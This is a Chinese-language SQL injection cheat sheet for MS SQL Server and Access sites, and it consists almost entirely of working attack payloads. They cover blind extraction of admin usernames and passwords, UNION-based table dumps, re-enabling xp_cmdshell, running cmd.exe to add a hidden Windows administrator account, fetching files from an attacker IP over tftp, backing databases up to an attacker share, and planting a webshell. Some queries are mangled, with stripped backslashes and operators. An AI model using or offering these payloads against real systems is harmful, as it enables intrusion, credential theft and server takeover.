判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass
password 等..
and 0(select count(*) from *)
and 0(select
count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到00)--
and 1=(select
count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from
admin where len(密码字段名称password)>0)
5.猜解各个字段的长度
猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where
len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and
1=(select count(*) from admin where len(name)=6) 正确
and 1=(select
count(*) from admin where len(password)>11) 正确
and 1=(select count(*)
from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from
admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from
admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1= (select count(*) from admin
where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1-- group by users.id, users.username, users.password, users.privs having 1= 1-- ; insert into users values( 666, attacker, foobar, 0xffff )-- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE _NAME=logintable- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN (login_id)- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN (login_id,login_name)- UNION SELECT TOP 1 login _name FROM logintable- UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and
1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(SELECT
System_user)--
and user_name()=dbo--
and
0(select user_name()--
看xp_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name =
xp_cmdshell)--
xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC
master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:
inetpubwwwrootxplog70.dll--
反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP _OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add--
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w "默认Web站点" -v "e","e: "--
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse
爆库
特殊技巧::%5c= 或者把/和 修改%5提交
and 0(select top 1 paths from
newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)-- and 0(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 依次提交 dbid = 7,8,9....
得到更多的数据库名
and 0(select top 1 name from
bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0 (select top
1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and
name=admin
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
and
0(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
and 0(select top 1 name from
bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0_id from BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and 0 (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 and 0(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 and 0(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin ?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));-- and (select top 1 swappass from swap)=1-- ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEMCurrentControlSet ServicesW3SVCParametersVirtual Roots, @value_name=/, values=@test OUTPUT insert into paths (path) values(@test)-- ;use ku1;-- ;create
table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell dir ;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号 ;exec master.dbo.sp_password null,jiaoniang$,1866574;-- ;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- ;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- ;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;-- exec master..xp _servicecontrol start, schedule
启动服务
exec master..xp_servicecontrol start, server ; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add ;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add
;
exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_+cmdshell exec @a dir c: ;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c: ;declare @a;set @a=db_name();backup database @a to
disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset
(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin
hax)
查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND ..... adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass select 123;-- ;use master;-- :a or name like fff%;-- 显示有一个叫ffff的用户哈。 and 1(select count (email) from [user]);-- ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- ;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- ;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- ;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- ;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- ;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 |